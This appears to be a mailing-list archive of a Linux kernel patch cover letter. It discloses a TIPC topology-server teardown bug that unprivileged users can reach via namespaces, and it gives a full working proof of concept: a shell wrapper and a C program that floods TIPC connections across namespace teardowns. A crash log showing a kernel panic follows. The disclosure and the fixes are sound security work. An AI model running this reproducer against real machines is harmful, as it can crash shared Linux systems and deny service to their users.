From: Yuqi Xu <xuyuqiabc@gmail.com>
To: netdev@vger.kernel.org
Cc: Jon Maloy <jmaloy@redhat.com>,
Tung Quang Nguyen <tung.quang.nguyen@est.tech>,
"David S . Miller" <davem@davemloft.net>,
Eric Dumazet <edumazet@google.com>,
Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
Simon Horman <horms@kernel.org>,
Ying Xue <ying.xue@windriver.com>,
Parthasarathy Bhuvaragan <parthasarathy.bhuvaragan@ericsson.com>,
Kuniyuki Iwashima <kuniyu@google.com>,
stable@vger.kernel.org, Vega <vega@nebusec.ai>,
Ren Wei <enjou1224z@gmail.com>
Subject: [PATCH net 0/2] tipc: fix connection lifetime during netns teardown
Date: Fri, 18 Sep 2026 17:21:11 +0800 [thread overview]
Message-ID: <cover.1789722780.git.xuyuqiabc@gmail.com> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in net/tipc/topsrv.c. The bug is
reachable by an unprivileged user via user and network namespaces
(CLONE_NEWUSER|CLONE_NEWNET); the reproducer below also supports a
root mode.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
`tipc_topsrv_stop()` can tear the topology server down in two unsafe
ways. It destroys `srv->rcv_wq`/`srv->send_wq` while the listener
socket still has its data-ready callback and `sk_user_data` installed,
so `tipc_topsrv_listener_data_ready()` can still queue `srv->awork` on
a freed workqueue. It also walks `conn_idr` by incrementing a numeric
ID while holding `idr_lock`, which can scan a large range of unused IDs
without letting a connection's final reference release make progress,
and it can resurrect an entry whose last reference was already dropped.
Reproducer:
#!/bin/sh
set -eu
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
ITERATIONS="${1:-6000}"
THREADS="${2:-4}"
RUNTIME_USEC="${3:-20000}"
MODE="${MODE:-root}" # root | userns
STALL_TIMEOUT="${STALL_TIMEOUT:-20}"
CC_BIN="${CC:-gcc}"
cd "$SCRIPT_DIR"
"$CC_BIN" -O2 -Wall -pthread -o poc poc.c
if [ "${SET_PANIC_ON_RCU_STALL:-1}" = "1" ] && [ "$(id -u)" -eq 0 ]; then
sysctl -w kernel.panic_on_rcu_stall=1 >/dev/null 2>&1 || true
if [ -w /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout ]; then
echo "$STALL_TIMEOUT" > /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout
fi
fi
if [ "$MODE" = "userns" ]; then
CMD="./poc --userns -i $ITERATIONS -t $THREADS -r $RUNTIME_USEC"
else
CMD="./poc -i $ITERATIONS -t $THREADS -r $RUNTIME_USEC"
fi
echo "[*] running: $CMD"
exec sh -c "$CMD"
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <getopt.h>
#include <linux/tipc.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
static atomic_int stop_flag;
struct run_cfg {
int iterations;
int threads;
int runtime_usec;
int ns_flags;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [-i iterations] [-t threads] [-r runtime_usec] [--userns]\n"
" -i, --iterations number of fork/teardown cycles (default: 6000)\n"
" -t, --threads flood worker threads per cycle (default: 4)\n"
" -r, --runtime-us worker runtime per cycle in usec (default: 20000)\n"
" -U, --userns use CLONE_NEWUSER|CLONE_NEWNET (for non-root)\n",
prog);
}
static void parse_args(int argc, char **argv, struct run_cfg *cfg)
{
static const struct option long_opts[] = {
{ "iterations", required_argument, NULL, 'i' },
{ "threads", required_argument, NULL, 't' },
{ "runtime-us", required_argument, NULL, 'r' },
{ "userns", no_argument, NULL, 'U' },
{ "help", no_argument, NULL, 'h' },
{ 0, 0, 0, 0 },
};
int c;
cfg->iterations = 6000;
cfg->threads = 4;
cfg->runtime_usec = 20000;
cfg->ns_flags = CLONE_NEWNET;
while ((c = getopt_long(argc, argv, "i:t:r:Uh", long_opts, NULL)) != -1) {
switch (c) {
case 'i':
cfg->iterations = atoi(optarg);
break;
case 't':
cfg->threads = atoi(optarg);
break;
case 'r':
cfg->runtime_usec = atoi(optarg);
break;
case 'U':
cfg->ns_flags = CLONE_NEWUSER | CLONE_NEWNET;
break;
case 'h':
default:
usage(argv[0]);
exit(c == 'h' ? 0 : 1);
}
}
if (cfg->iterations <= 0 || cfg->threads <= 0 || cfg->runtime_usec < 0) {
usage(argv[0]);
exit(1);
}
}
static void *flood_worker(void *arg)
{
uintptr_t tid = (uintptr_t)arg;
struct sockaddr_tipc sa;
struct tipc_subscr sub;
memset(&sa, 0, sizeof(sa));
sa.family = AF_TIPC;
sa.addrtype = TIPC_SERVICE_ADDR;
sa.scope = TIPC_NODE_SCOPE;
sa.addr.name.name.type = TIPC_TOP_SRV;
sa.addr.name.name.instance = TIPC_TOP_SRV;
memset(&sub, 0, sizeof(sub));
sub.seq.type = 0x20000 + (uint32_t)tid;
sub.seq.lower = 1;
sub.seq.upper = 1;
sub.timeout = 0xffffffffu;
sub.filter = TIPC_SUB_SERVICE;
while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
int fd = socket(AF_TIPC, SOCK_SEQPACKET | SOCK_NONBLOCK, 0);
if (fd < 0)
continue;
(void)connect(fd, (struct sockaddr *)&sa, sizeof(sa));
(void)send(fd, &sub, sizeof(sub), MSG_DONTWAIT);
close(fd);
}
return NULL;
}
static void run_one_iteration(const struct run_cfg *cfg)
{
pthread_t *tids;
int i;
if (unshare(cfg->ns_flags) < 0)
_exit(111);
tids = calloc((size_t)cfg->threads, sizeof(*tids));
if (!tids)
_exit(1);
atomic_store_explicit(&stop_flag, 0, memory_order_relaxed);
for (i = 0; i < cfg->threads; i++)
pthread_create(&tids[i], NULL, flood_worker,
(void *)(uintptr_t)(i + 1));
usleep((useconds_t)cfg->runtime_usec);
_exit(0);
}
int main(int argc, char **argv)
{
struct run_cfg cfg;
int i;
int ns_failures = 0;
parse_args(argc, argv, &cfg);
for (i = 0; i < cfg.iterations; i++) {
pid_t pid = fork();
int st;
if (pid == 0)
run_one_iteration(&cfg);
if (pid < 0)
return 1;
if (waitpid(pid, &st, 0) < 0)
return 1;
if (WIFEXITED(st) && WEXITSTATUS(st) == 111)
ns_failures++;
if ((i % 200) == 0)
fprintf(stderr, "iter=%d ns_failures=%d\n", i, ns_failures);
}
if (ns_failures == cfg.iterations) {
fprintf(stderr,
"all iterations failed to create namespaces (EPERM likely)\n");
return 2;
}
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 292.540819][ C1] rcu: INFO: rcu_preempt self-detected stall on CPU
[ 292.647997][ C1] Workqueue: tipc_rcv tipc_topsrv_accept
[ 292.708934][ C0] Workqueue: netns cleanup_net
[ 292.709097][ C0] <TASK>
[ 292.709101][ C0] __radix_tree_lookup+0xb7/0x290
[ 292.709134][ C0] tipc_topsrv_exit_net+0x19c/0x4e0
[ 292.709169][ C0] ops_exit_list+0xc0/0x180
[ 292.709192][ C0] cleanup_net+0x5b9/0xbd0
[ 292.709217][ C0] process_one_work+0x981/0x1930
[ 292.709275][ C0] worker_thread+0x729/0x10e0
[ 292.709314][ C0] kthread+0x338/0x410
[ 292.709364][ C0] ret_from_fork_asm+0x11/0x20
[ 292.709383][ C0] </TASK>
[ 292.831321][ C1] Kernel panic - not syncing: RCU Stall
[ 292.834975][ C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
[ 292.839167][ C1] Call Trace:
[ 292.875653][ C1] asm_sysvec_apic_timer_interrupt+0x1a/0x20
[ 292.906505][ C1] tipc_topsrv_accept+0x104/0x300
[ 292.909515][ C1] process_one_work+0x981/0x1930
[ 292.919937][ C1] ret_from_fork+0x4b/0x80
[ 292.926345][ C1] Kernel Offset: disabled
[ 292.927571][ C1] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (2):
tipc: stop the listener before draining connections
tipc: make conn_idr teardown safe
net/tipc/topsrv.c | 27 ++++++++++++++++++++-------
1 file changed, 20 insertions(+), 7 deletions(-)
base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
--
2.55.0
next reply other threads:[~2026-09-18 9:21 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-18 9:21 Yuqi Xu [this message]
2026-09-18 9:21 ` [PATCH net 1/2] tipc: stop the listener before draining connections Yuqi Xu
2026-09-21 2:55 ` Tung Quang Nguyen
2026-09-18 9:21 ` [PATCH net 2/2] tipc: make conn_idr teardown safe Yuqi Xu
2026-09-21 3:01 ` Tung Quang Nguyen
2026-09-20 7:34 ` [PATCH net 0/2] tipc: fix connection lifetime during netns teardown Yuqi Xu
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1789722780.git.xuyuqiabc@gmail.com \
--to=xuyuqiabc@gmail.com \
--cc=davem@davemloft.net \
--cc=edumazet@google.com \
--cc=enjou1224z@gmail.com \
--cc=horms@kernel.org \
--cc=jmaloy@redhat.com \
--cc=kuba@kernel.org \
--cc=kuniyu@google.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=parthasarathy.bhuvaragan@ericsson.com \
--cc=stable@vger.kernel.org \
--cc=tung.quang.nguyen@est.tech \
--cc=vega@nebusec.ai \
--cc=ying.xue@windriver.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.